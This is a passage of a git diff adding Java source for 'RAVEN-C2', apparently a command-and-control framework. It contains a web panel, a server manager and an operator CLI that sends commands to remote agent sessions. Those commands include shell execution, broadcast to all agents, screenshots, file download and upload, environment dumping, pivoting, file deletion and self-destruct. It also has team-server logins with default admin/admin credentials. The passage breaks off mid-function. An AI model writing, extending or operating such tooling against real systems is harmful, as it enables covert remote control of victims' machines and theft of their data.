Exchange.getResponseBody()) { + Output.write(Body); + } + } catch (Exception Exception) { + try { + byte[] Body = HttpHelper.Json(Map.of("Error", String.valueOf(Exception.getMessage()))).getBytes("UTF-8"); + Exchange.sendResponseHeaders(500, Body.length); + try (OutputStream Output = Exchange.getResponseBody()) { + Output.write(Body); + } + } catch (IOException Ignored) {} + } + } + + class IndexHandler implements HttpHandler { + + @Override + public void handle(HttpExchange Exchange) throws IOException { + Path Template = PathResolver.ResolvePath(Config.GetTemplateDir() + "/index.html"); + if (!Files.exists(Template)) { + Write(Exchange, 404, "404 index.html not found".getBytes()); + return; + } + Exchange.getResponseHeaders().add("Content-Type", "text/html; charset=UTF-8"); + Write(Exchange, 200, Files.readAllBytes(Template)); + } + } + + class StaticHandler implements HttpHandler { + + @Override + public void handle(HttpExchange Exchange) throws IOException { + String RequestPath = Exchange.getRequestURI().getPath(); + String Relative = RequestPath.startsWith("/static/") ? RequestPath.substring(7) : RequestPath; + Path Target = PathResolver.ResolvePath(Config.GetStaticDir() + Relative); + if (!Files.exists(Target) || Files.isDirectory(Target)) { + Write(Exchange, 404, ("404 Not Found: " + RequestPath).getBytes()); + return; + } + Exchange.getResponseHeaders().add("Content-Type", ContentType(Target.toString())); + Write(Exchange, 200, Files.readAllBytes(Target)); + } + + private String ContentType(String Path) { + if (Path.endsWith(".html")) return "text/html; charset=UTF-8"; + if (Path.endsWith(".css")) return "text/css"; + if (Path.endsWith(".js")) return "application/javascript"; + if (Path.endsWith(".json")) return "application/json"; + if (Path.endsWith(".png")) return "image/png"; + if (Path.endsWith(".svg")) return "image/svg+xml"; + if (Path.endsWith(".ico")) return "image/x-icon"; + return "application/octet-stream"; + } + } + + private static void Write(HttpExchange Exchange, int Status, byte[] Body) throws IOException { + Exchange.sendResponseHeaders(Status, Body.length); + try (OutputStream Output = Exchange.getResponseBody()) { + Output.write(Body); + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/WebLogger.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/WebLogger.java new file mode 100644 index 0000000..eb9bcce --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/WebLogger.java @@ -0,0 +1,38 @@ +package com.raven.interfaces.APP.core; + +import com.raven.core.database.TeamDatabase; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +public final class WebLogger { + + private static final DateTimeFormatter TimeFormat = DateTimeFormatter.ofPattern("HH:mm:ss"); + + private final List Entries; + private final int MaxEntries; + private final TeamDatabase Database; + + public WebLogger(int MaxEntries, TeamDatabase Database) { + this.MaxEntries = MaxEntries; + this.Database = Database; + this.Entries = new CopyOnWriteArrayList<>(); + } + + public void Add(String Message) { + String Entry = " [" + LocalDateTime.now().format(TimeFormat) + "] " + Message; + Entries.add(Entry); + if (Entries.size() > MaxEntries) Entries.remove(0); + Database.SaveLog(Entry); + } + + public List GetAll() { + return new ArrayList<>(Entries); + } + + public void Clear() { + Entries.clear(); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/WebServerManager.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/WebServerManager.java new file mode 100644 index 0000000..513fbbc --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/WebServerManager.java @@ -0,0 +1,96 @@ +package com.raven.interfaces.APP.core; + +import com.raven.core.event.EventManager.EventType; +import com.raven.core.output.Logger; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.utils.ServerConfig; +import java.time.Instant; +import java.util.Map; + +public final class WebServerManager { + + private final ServerConfig Config; + private final ListenerMode ActiveMode; + private final WebLogger WebLogger; + + private RavenServer Server; + private Instant ServerStartTime; + private boolean ServerOwned; + + public WebServerManager(ServerConfig Config, ListenerMode ActiveMode, WebLogger WebLogger) { + this.Config = Config; + this.ActiveMode = ActiveMode; + this.WebLogger = WebLogger; + } + + public void AttachServer(RavenServer ExistingServer, Instant StartTime) { + this.Server = ExistingServer; + this.ServerStartTime = StartTime; + this.ServerOwned = false; + Logger.Info("WebApp attached to existing RavenServer on " + ExistingServer.GetHost() + ":" + ExistingServer.GetPort()); + } + + public void StartIfNeeded(EventHandler EventHandler) { + if (Server != null) return; + Server = new RavenServer(Config.GetServerHost(), Config.GetServerPort(), ActiveMode, Config); + Server.AddEventListener((Type, Data) -> EventHandler.OnEvent(Type, Data)); + boolean[] Result = Server.StartServer(); + if (Result[0]) { + ServerOwned = true; + ServerStartTime = Instant.now(); + Thread AcceptThread = new Thread(Server::AcceptConnections, "AcceptConnections"); + AcceptThread.setDaemon(true); + AcceptThread.start(); + } else { + Logger.Warn("Agent server failed to start — web panel running in monitor-only mode"); + } + } + + public void StartManual(String Host, int Port, EventHandler EventHandler) { + if (Server != null && Server.IsRunning()) return; + Server = new RavenServer(Host, Port, ActiveMode, Config); + Server.AddEventListener((Type, Data) -> EventHandler.OnEvent(Type, Data)); + boolean[] Result = Server.StartServer(); + if (Result[0]) { + ServerOwned = true; + ServerStartTime = Instant.now(); + WebLogger.Add("Server started on " + Host + ":" + Port); + new Thread(Server::AcceptConnections, "AcceptConnections").start(); + } else { + WebLogger.Add("Failed to start server"); + } + } + + public void Stop() { + if (ServerOwned && Server != null && Server.IsRunning()) { + Server.StopServer(); + } + Server = null; + ServerOwned = false; + ServerStartTime = null; + } + + public RavenServer GetServer() { + return Server; + } + + public Instant GetServerStartTime() { + return ServerStartTime; + } + + public boolean IsRunning() { + return Server != null && Server.IsRunning(); + } + + public String GetUptime() { + if (ServerStartTime == null) return "00:00:00"; + long Seconds = java.time.Duration.between(ServerStartTime, Instant.now()).getSeconds(); + return String.format("%02d:%02d:%02d", Seconds / 3600, (Seconds % 3600) / 60, Seconds % 60); + } + + @FunctionalInterface + public interface EventHandler { + void OnEvent(EventType Type, Map Data); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/shared/HttpHelper.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/shared/HttpHelper.java new file mode 100644 index 0000000..910cdb0 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/shared/HttpHelper.java @@ -0,0 +1,45 @@ +package com.raven.interfaces.APP.shared; + +import com.google.gson.Gson; +import com.sun.net.httpserver.HttpExchange; +import java.io.InputStream; +import java.util.HashMap; +import java.util.Map; + +public final class HttpHelper { + + private static final Gson GsonInstance = new Gson(); + + private HttpHelper() {} + + @SuppressWarnings("unchecked") + public static Map Body(HttpExchange Exchange) throws Exception { + try (InputStream InputStream = Exchange.getRequestBody()) { + String Body = new String(InputStream.readAllBytes(), "UTF-8"); + if (Body.isEmpty()) return new HashMap<>(); + Map Result = GsonInstance.fromJson(Body, Map.class); + return Result != null ? Result : new HashMap<>(); + } + } + + public static String Str(Map Map, String Key, String Default) { + Object Value = Map.get(Key); + return Value != null ? Value.toString() : Default; + } + + public static int Num(Map Map, String Key, int Default) { + try { + return (int) Double.parseDouble(Map.getOrDefault(Key, Default).toString()); + } catch (Exception Exception) { + return Default; + } + } + + public static String Json(Object Value) { + return GsonInstance.toJson(Value); + } + + public static Gson Gson() { + return GsonInstance; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/shared/PathResolver.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/shared/PathResolver.java new file mode 100644 index 0000000..3e4fb98 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/shared/PathResolver.java @@ -0,0 +1,36 @@ +package com.raven.interfaces.APP.shared; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +public final class PathResolver { + + private final Path BaseDir; + + public PathResolver(Class CallerClass) { + this.BaseDir = Resolve(CallerClass); + } + + private static Path Resolve(Class CallerClass) { + Path Cwd = Paths.get("").toAbsolutePath(); + if (Files.exists(Cwd.resolve("config"))) return Cwd; + try { + Path Jar = Paths.get(CallerClass.getProtectionDomain().getCodeSource().getLocation().toURI()).getParent(); + for (Path Candidate : new Path[] { Jar, Jar != null ? Jar.getParent() : null }) if (Candidate != null && Files.exists(Candidate.resolve("config"))) return Candidate.toAbsolutePath(); + } catch (Exception Ignored) {} + return Cwd; + } + + public Path ResolvePath(String Relative) { + Path Direct = Paths.get(Relative); + if (Direct.isAbsolute() && Files.exists(Direct)) return Direct; + Path FromBase = BaseDir.resolve(Relative); + if (Files.exists(FromBase)) return FromBase; + return Paths.get("").toAbsolutePath().resolve(Relative); + } + + public Path GetBaseDir() { + return BaseDir; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/CLI.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/CLI.java new file mode 100644 index 0000000..ae17227 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/CLI.java @@ -0,0 +1,1012 @@ +package com.raven.interfaces.CLI; + +import com.raven.core.command.CommandRegistry; +import com.raven.core.command.CommandRegistry.Category; +import com.raven.core.command.CommandRegistry.CommandDef; +import com.raven.core.command.ExportCommand; +import com.raven.core.database.TeamDatabase; +import com.raven.core.database.TeamDatabase.OperatorRole; +import com.raven.core.output.EventLog; +import com.raven.core.output.Logger; +import com.raven.core.output.PromptManager; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import com.raven.interfaces.banner.CLIBanner; +import com.raven.utils.AnsiColor; +import com.raven.utils.ServerConfig; +import com.raven.utils.SystemHelper; +import com.raven.utils.TerminalHelper; +import java.io.BufferedReader; +import java.io.Console; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.time.Duration; +import java.time.Instant; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public final class CLI { + + private static final String PROMPT_TOP = AnsiColor.Red + "┌──{" + AnsiColor.White + "RAVEN" + AnsiColor.Red + "}" + AnsiColor.Reset; + private static final String PROMPT_BOTTOM = AnsiColor.Red + "└─" + AnsiColor.White + ">>" + AnsiColor.Reset + " "; + + private final ServerConfig Config; + private final TeamDatabase Db; + private final EventLog Log; + private final ExportCommand Export; + + private RavenServer Server; + private Instant ServerStartTime; + private boolean IsTeamMode; + private ListenerMode ActiveMode = ListenerMode.MULTI; + + private String OperatorName; + private OperatorRole OperatorRole; + private volatile boolean Running = true; + + private static volatile RavenServer SharedServer; + private static volatile Instant SharedServerStart; + private static final Object ServerLock = new Object(); + + public CLI(ServerConfig Config) { + this.Config = Config; + this.Db = TeamDatabase.Connect(Config); + this.Log = new EventLog(Config.GetMaxLogEntries()); + this.Export = new ExportCommand(Db, Log); + PromptManager.SetPrompt(PROMPT_BOTTOM); + } + + public void Run(String Host, int Port, ListenerMode Mode) { + this.ActiveMode = Mode; + this.IsTeamMode = false; + this.OperatorName = Config.GetAdminUsername(); + this.OperatorRole = OperatorRole.SUPER; + if (!StartListener(Host, Port, Mode)) return; + RunLoop(); + } + + public void RunTeamServer(String Host, int Port, ListenerMode Mode) { + this.ActiveMode = Mode; + this.IsTeamMode = true; + BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); + if (!Login(Reader)) return; + if (!StartListener(Host, Port, Mode)) return; + RunLoop(); + } + + private boolean Login(BufferedReader Reader) { + System.out.println(TerminalHelper.Box("TEAMSERVER LOGIN")); + System.out.println(); + Logger.Custom(" %sDefault: admin / admin (change after first login)%s%n%n", AnsiColor.White, AnsiColor.Reset); + for (int Try = 1; Try <= 3; Try++) { + try { + Logger.Custom(" %sUsername:%s ", AnsiColor.Red, AnsiColor.Reset); + System.out.flush(); + String User = Reader.readLine(); + if (User == null) return false; + User = User.trim(); + Logger.Custom(" %sPassword:%s ", AnsiColor.Red, AnsiColor.Reset); + System.out.flush(); + String Pass; + Console C = System.console(); + if (C != null) { + char[] Chars = C.readPassword(); + Pass = Chars != null ? new String(Chars) : ""; + } else { + Pass = Reader.readLine(); + } + if (Pass == null) return false; + if (!Db.ValidateOperator(User, TeamDatabase.HashPassword(Pass))) { + Logger.Custom(" %sInvalid credentials — attempt %d/3%s%n%n", AnsiColor.Red, Try, AnsiColor.Reset); + continue; + } + OperatorName = User; + OperatorRole = Db.GetOperatorRole(User); + Db.UpdateLastSeen(User); + Logger.Info("Operator login: " + User + " [" + OperatorRole + "]"); + Logger.Custom(" %n%sWelcome, %s [%s]%s%n", AnsiColor.Green, User, OperatorRole, AnsiColor.Reset); + Logger.Custom(" %sPermissions:%s %s%n%n", AnsiColor.Red, AnsiColor.White, OperatorRole.PermissionString()); + return true; + } catch (IOException Ex) { + return false; + } + } + Logger.Error("authentication failed"); + return false; + } + + private boolean StartListener(String Host, int Port, ListenerMode Mode) { + if (IsTeamMode) { + synchronized (ServerLock) { + if (SharedServer != null && SharedServer.IsRunning()) { + Server = SharedServer; + ServerStartTime = SharedServerStart; + Logger.Info("Operator " + OperatorName + " joined existing listener on " + Host + ":" + Port); + return true; + } + RavenServer S = new RavenServer(Host, Port, Mode, Config); + S.AddEventListener(this::HandleEvent); + if (!S.StartServer()[0]) { + if (IsPortBound(Host, Port)) { + Logger.Info(OperatorName + " attached to listener on " + Host + ":" + Port + " (cross-process)"); + ServerStartTime = Instant.now(); + return true; + } + Logger.Error("failed to start listener"); + return false; + } + SharedServer = S; + SharedServerStart = Instant.now(); + Server = SharedServer; + ServerStartTime = SharedServerStart; + Thread T = new Thread(SharedServer::AcceptConnections, "AcceptConnections"); + T.setDaemon(true); + T.start(); + return true; + } + } + Server = new RavenServer(Host, Port, Mode, Config); + Server.AddEventListener(this::HandleEvent); + if (!Server.StartServer()[0]) { + Logger.Error("failed to start listener"); + return false; + } + ServerStartTime = Instant.now(); + Thread T = new Thread(Server::AcceptConnections, "AcceptConnections"); + T.setDaemon(true); + T.start(); + return true; + } + + private void HandleEvent(com.raven.core.event.EventManager.EventType Type, Map Data) { + switch (Type) { + case ServerStarted -> AddLog(" server listening on " + Data.get("Host") + ":" + Data.get("Port"), true); + case AgentConnected -> AddLog("[" + Data.get("AgentName") + "] session-" + Data.get("ID") + " key: " + Data.get("SessionKey") + " (" + Data.get("OS") + ")", true); + case AgentDisconnected -> AddLog("session-" + Data.get("ID") + " disconnected: " + Data.get("Reason"), true); + case AgentRemoved -> AddLog("session-" + Data.get("ID") + " removed", false); + case Error -> AddLog("Error: " + Data.get("Message"), true); + } + } + + private void AddLog(String Msg, boolean Print) { + Log.Add(Msg, Print); + } + + private void RunLoop() { + try { + Thread.sleep(300); + } catch (InterruptedException Ignored) {} + BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); + int LastCount = Log.Count(); + while (Running) { + try { + int Current = Log.Count(); + if (Current > LastCount) { + Logger.Info(Current - LastCount + " new event(s) - type 'logs' to view"); + LastCount = Current; + } + System.out.println(); + System.out.println(PROMPT_TOP); + System.out.print(PROMPT_BOTTOM); + System.out.flush(); + PromptManager.MarkVisible(true); + String Input = Reader.readLine(); + PromptManager.MarkVisible(false); + if (Input == null || Input.isBlank()) continue; + String[] Parts = Input.trim().split("\\s+", 3); + String Cmd = Parts[0].toLowerCase(); + int Updated = Dispatch(Cmd, Parts); + if (Updated < 0) break; + if (Updated > 0) LastCount = Log.Count(); + } catch (IOException Ex) { + break; + } + } + Shutdown(); + } + + private int Dispatch(String Cmd, String[] P) { + switch (Cmd) { + case "exit", "quit" -> { + Logger.Debug("shutting down"); + return -1; + } + case "help" -> ShowHelp(); + case "clear" -> { + TerminalHelper.Clear(); + return 1; + } + case "status" -> { + long Up = ServerStartTime != null ? Duration.between(ServerStartTime, Instant.now()).getSeconds() : 0; + System.out.println(TerminalHelper.Box("SERVER STATUS")); + System.out.println(); + if (Server != null && Server.IsRunning()) { + Logger.Custom(" %sStatus %sONLINE%n", AnsiColor.Red, AnsiColor.Green); + Logger.Custom(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); + Logger.Custom(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); + Logger.Custom(" %sSessions %s%d%n", AnsiColor.Red, AnsiColor.White, Server.GetSessions().Count()); + } else if (IsTeamMode && ServerStartTime != null) { + Logger.Custom(" %sStatus %sONLINE (cross-process)%n", AnsiColor.Red, AnsiColor.Green); + Logger.Custom(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); + Logger.Custom(" %sSessions %s(cross-process)%n", AnsiColor.Red, AnsiColor.White); + } else { + Logger.Custom(" %sStatus %sOFFLINE%n", AnsiColor.Red, AnsiColor.Red); + } + Logger.Custom(" %sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); + Logger.Custom(" %sDatabase %s%s (%s)%n", AnsiColor.Red, AnsiColor.White, Db.IsConnected() ? "connected" : "memory", Config.GetDatabaseType()); + if (IsTeamMode) Logger.Custom(" %sOperator %s%s [%s]%n", AnsiColor.Red, AnsiColor.White, OperatorName, OperatorRole); + System.out.println(); + } + case "logs" -> { + System.out.println(TerminalHelper.Box("RECENT LOGS")); + System.out.println(); + List Last = Log.GetLast(30); + if (Last.isEmpty()) { + Logger.Info(" no logs"); + } else Last.forEach(E -> Logger.Custom(" %s%s%s%n", AnsiColor.White, E, AnsiColor.Reset)); + System.out.println(); + return 1; + } + case "sessions", "agents" -> ShowSessions(); + case "stats" -> ShowStats(); + case "tasks" -> ShowTasks(); + case "use" -> { + if (P.length < 2) { + Logger.Info(Usage("use")); + break; + } + try { + Interactive(ParseInt(P[1])); + return 1; + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "exec" -> { + if (!CanExecute()) { + Logger.Warn("insufficient permissions"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("exec")); + break; + } + try { + Execute(ParseInt(P[1]), P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "broadcast" -> { + if (!CanExecute()) { + Logger.Warn("insufficient permissions"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("broadcast")); + break; + } + String Target = P[1].toLowerCase(); + if (Target.equals("all")) { + BroadcastAll(P[2]); + } else { + List Ids = ParseIds(Target); + if (Ids.isEmpty()) Logger.Info("no valid session IDs"); + else Broadcast(Ids, P[2]); + } + } + case "kill" -> { + if (P.length < 2) { + Logger.Info(Usage("kill")); + break; + } + try { + int Id = ParseInt(P[1]); + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + break; + } + Server.RemoveSession(Id); + AddLog("[KILL] session-" + Id + " by " + OperatorName, true); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "sysinfo", "info" -> { + if (P.length < 2) { + Logger.Info(Usage("sysinfo")); + break; + } + try { + ShowSessionInfo(ParseInt(P[1])); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "whoami" -> { + if (P.length > 1) { + try { + Execute(ParseInt(P[1]), "whoami"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } else Logger.Info(Usage("whoami")); + } + case "screenshot" -> { + if (P.length < 2) { + Logger.Info(Usage("screenshot")); + break; + } + try { + Execute(ParseInt(P[1]), "screenshot"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "download" -> { + if (P.length < 3) { + Logger.Info(Usage("download")); + break; + } + try { + Execute(ParseInt(P[1]), "download " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "upload" -> { + if (P.length < 3) { + Logger.Info(Usage("upload")); + break; + } + try { + String[] Up = P[2].split("\\s+", 2); + Execute(ParseInt(P[1]), "upload " + Up[0] + (Up.length > 1 ? " " + Up[1] : "")); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "sleep" -> { + if (P.length < 3) { + Logger.Info(Usage("sleep")); + break; + } + try { + Execute(ParseInt(P[1]), "sleep " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "pivot" -> { + if (P.length < 3) { + Logger.Info(Usage("pivot")); + break; + } + try { + Execute(ParseInt(P[1]), "pivot " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "ps" -> { + if (P.length < 2) { + Logger.Info(Usage("ps")); + break; + } + try { + Execute(ParseInt(P[1]), "ps"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "pwd" -> { + if (P.length < 2) { + Logger.Info(Usage("pwd")); + break; + } + try { + Execute(ParseInt(P[1]), "pwd"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "ls" -> { + if (P.length < 2) { + Logger.Info(Usage("ls")); + break; + } + try { + Execute(ParseInt(P[1]), P.length > 2 ? "ls " + P[2] : "ls"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "cat" -> { + if (P.length < 3) { + Logger.Info(Usage("cat")); + break; + } + try { + Execute(ParseInt(P[1]), "cat " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "rm" -> { + if (P.length < 3) { + Logger.Info(Usage("rm")); + break; + } + try { + Execute(ParseInt(P[1]), "rm " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "mkdir" -> { + if (P.length < 3) { + Logger.Info(Usage("mkdir")); + break; + } + try { + Execute(ParseInt(P[1]), "mkdir " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "env" -> { + if (P.length < 2) { + Logger.Info(Usage("env")); + break; + } + try { + Execute(ParseInt(P[1]), "env"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "ifconfig", "ipconfig" -> { + if (P.length < 2) { + Logger.Info(Usage("ifconfig")); + break; + } + try { + Execute(ParseInt(P[1]), "ifconfig"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "netstat" -> { + if (P.length < 2) { + Logger.Info(Usage("netstat")); + break; + } + try { + Execute(ParseInt(P[1]), "netstat"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "shell" -> { + if (P.length < 3) { + Logger.Info(Usage("shell")); + break; + } + try { + Execute(ParseInt(P[1]), "shell " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "history" -> { + int Sid = P.length > 1 ? ParseIntSafe(P[1], 0) : 0; + int Lim = P.length > 2 ? ParseIntSafe(P[2], 50) : 50; + ShowCommandHistory(Sid, Lim); + } + case "note" -> { + if (P.length < 3) { + Logger.Info(Usage("note")); + break; + } + try { + Db.SetAgentNote(ParseInt(P[1]), P[2]); + Logger.Success("Note saved for session-" + P[1]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "getnote" -> { + if (P.length < 2) { + Logger.Info(Usage("getnote")); + break; + } + try { + int Id = ParseInt(P[1]); + String Note = Db.GetAgentNote(Id); + Logger.Custom(" Note [%d]: %s%s%s%n", Id, AnsiColor.White, Note != null ? Note : "(none)", AnsiColor.Reset); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "listopt", "listoperators" -> ShowOperators(); + case "addopt", "addoperator" -> { + if (!CanManage()) { + Logger.Warn("ADMIN/SUPER required"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("addopt")); + break; + } + String[] T = P[2].split("\\s+", 2); + String Pass = T[0]; + String Role = T.length > 1 ? T[1] : "OPERATOR"; + if (Pass.length() < 8) { + Logger.Warn("password >= 8 chars required"); + break; + } + OperatorRole R = OperatorRole.FromString(Role); + if (R == OperatorRole.SUPER && !OperatorRole.IsSuperAdmin()) { + Logger.Warn("only SUPER can create SUPER"); + break; + } + if (Db.CreateOperator(P[1], TeamDatabase.HashPassword(Pass), R)) Logger.Custom(" Operator created: %s [%s]%n", P[1], R); + else Logger.Warn("username already exists"); + } + case "delopt", "deleteoperator" -> { + if (!CanManage()) { + Logger.Warn("ADMIN/SUPER required"); + break; + } + if (P.length < 2) { + Logger.Info(Usage("delopt")); + break; + } + if (P[1].equalsIgnoreCase(Config.GetAdminUsername())) { + Logger.Warn("cannot delete admin"); + break; + } + if (Db.DeleteOperator(P[1])) Logger.Custom(" Deleted: %s%n", P[1]); + else Logger.Warn("operator not found"); + } + case "kick", "kickopt" -> { + if (OperatorRole == null || !OperatorRole.CanKickOperator()) { + Logger.Warn("SUPER role required"); + break; + } + if (P.length < 2) { + Logger.Info(Usage("kick")); + break; + } + if (P[1].equalsIgnoreCase(Config.GetAdminUsername()) || P[1].equals(OperatorName)) { + Logger.Warn("cannot kick admin or yourself"); + break; + } + if (Db.DeleteOperator(P[1])) Logger.Custom(" Kicked: %s%n", P[1]); + else Logger.Warn("operator not found"); + } + case "setrole", "changerole" -> { + if (!CanManage()) { + Logger.Warn("ADMIN/SUPER required"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("setrole")); + break; + } + if (P[1].equalsIgnoreCase(Config.GetAdminUsername())) { + Logger.Warn("cannot change admin role"); + break; + } + OperatorRole NewRole = OperatorRole.FromString(P[2]); + if (Db.UpdateOperatorRole(P[1], NewRole)) Logger.Custom(" Role: %s > %s%n", P[1], NewRole); + else Logger.Warn("operator not found"); + } + case "passwd", "changepassword" -> { + if (!CanManage()) { + Logger.Warn("ADMIN/SUPER required"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("passwd")); + break; + } + if (P[2].length() < 8) { + Logger.Warn("password >= 8 chars required"); + break; + } + if (Db.UpdateOperatorPassword(P[1], TeamDatabase.HashPassword(P[2]))) Logger.Custom(" Password updated: %s%n", P[1]); + else Logger.Warn("operator not found"); + } + case "chat" -> ShowChat(); + case "chathistory", "chatlog" -> ShowChatHistory(50); + case "ch" -> { + if (!IsTeamMode) { + Logger.Warn("not in team mode"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("ch")); + break; + } + Db.SaveChatLog(OperatorName, P[1], P[2]); + Logger.Custom(" %s→ %s:%s %s%n", AnsiColor.Green, P[1], AnsiColor.Reset, P[2]); + } + case "gc" -> { + if (!IsTeamMode) { + Logger.Warn("not in team mode"); + break; + } + if (P.length < 3) { + Logger.Info(Usage("gc")); + break; + } + String Target = P[1].toLowerCase(); + String Msg = P[2]; + if (Target.equals("all")) { + Db.SaveChatLog(OperatorName, "all", Msg); + Logger.Custom(" %s→ all:%s %s%n", AnsiColor.Green, AnsiColor.Reset, Msg); + } else { + for (String Name : Target.split(",")) { + String N = Name.trim(); + if (!N.isEmpty()) { + Db.SaveChatLog(OperatorName, N, Msg); + } + } + Logger.Custom(" %s→ %s:%s %s%n", AnsiColor.Green, Target, AnsiColor.Reset, Msg); + } + } + case "export" -> { + if (P.length < 3) { + Logger.Info(Usage("export")); + break; + } + Export.Run(P[1], P[2]); + } + case "sessions-history", "sesshistory" -> { + int Lim = P.length > 1 ? ParseIntSafe(P[1], 50) : 50; + List> Sess = Db.GetSessionHistory(Lim); + System.out.println(TerminalHelper.Box("SESSION HISTORY (last " + Lim + ")")); + System.out.println(); + Sess.forEach(S -> Logger.Custom(" %s%s%s%n", AnsiColor.White, S, AnsiColor.Reset)); + System.out.println(); + } + case "ping" -> { + if (P.length < 2) { + Logger.Info(Usage("ping")); + break; + } + try { + Execute(ParseInt(P[1]), "ping"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "reconnect" -> { + if (P.length < 2) { + Logger.Info(Usage("reconnect")); + break; + } + try { + Execute(ParseInt(P[1]), "reconnect"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "self-destruct", "selfdestruct" -> { + if (!CanManage()) { + Logger.Warn("ADMIN/SUPER required"); + break; + } + if (P.length < 2) { + Logger.Info(Usage("self-destruct")); + break; + } + try { + Execute(ParseInt(P[1]), "self-destruct"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + default -> { + Logger.Error("unknown command: " + Cmd); + Logger.Info("type 'help' for available commands"); + } + } + return 0; + } + + private void ShowHelp() { + System.out.println(TerminalHelper.Box("COMMAND REFERENCE")); + System.out.println(); + CLIBanner.Print(); + if (IsTeamMode && OperatorName != null) { + System.out.println(); + Logger.Custom(" %s[TEAMSERVER MODE]%s Operator: %s%s%s Role: %s%s%s%n", AnsiColor.Red, AnsiColor.Reset, AnsiColor.White, OperatorName, AnsiColor.Reset, AnsiColor.White, OperatorRole != null ? OperatorRole.name() : "?", AnsiColor.Reset); + if (OperatorRole != null) Logger.Custom(" %sPermissions:%s %s%n", AnsiColor.Red, AnsiColor.White, OperatorRole.PermissionString()); + } + System.out.println(); + for (Category Cat : Category.values()) { + List Cmds = CommandRegistry.ByCategory(Cat); + if (Cmds.isEmpty()) continue; + Logger.Custom(" %s%s%s%n", AnsiColor.Red, Cat.name(), AnsiColor.Reset); + for (CommandDef Def : Cmds) { + if (Def.RequireTeamMode() && !IsTeamMode) continue; + Logger.Custom(" %s%-42s%s %s%n", AnsiColor.White, Def.Usage(), AnsiColor.Reset, Def.Description()); + } + System.out.println(); + } + } + + private void ShowSessions() { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + List All = Server.GetSessions().GetAll(); + System.out.println(TerminalHelper.Box("ACTIVE SESSIONS (" + All.size() + ")")); + System.out.println(); + if (All.isEmpty()) { + Logger.Info(" no active sessions"); + System.out.println(); + return; + } + Logger.Custom(" %s%-5s %-14s %-16s %-14s %-10s %-10s %s%s%n", AnsiColor.Red, "ID", "NAME", "IP", "TYPE", "OS", "USER", "KEY", AnsiColor.Reset); 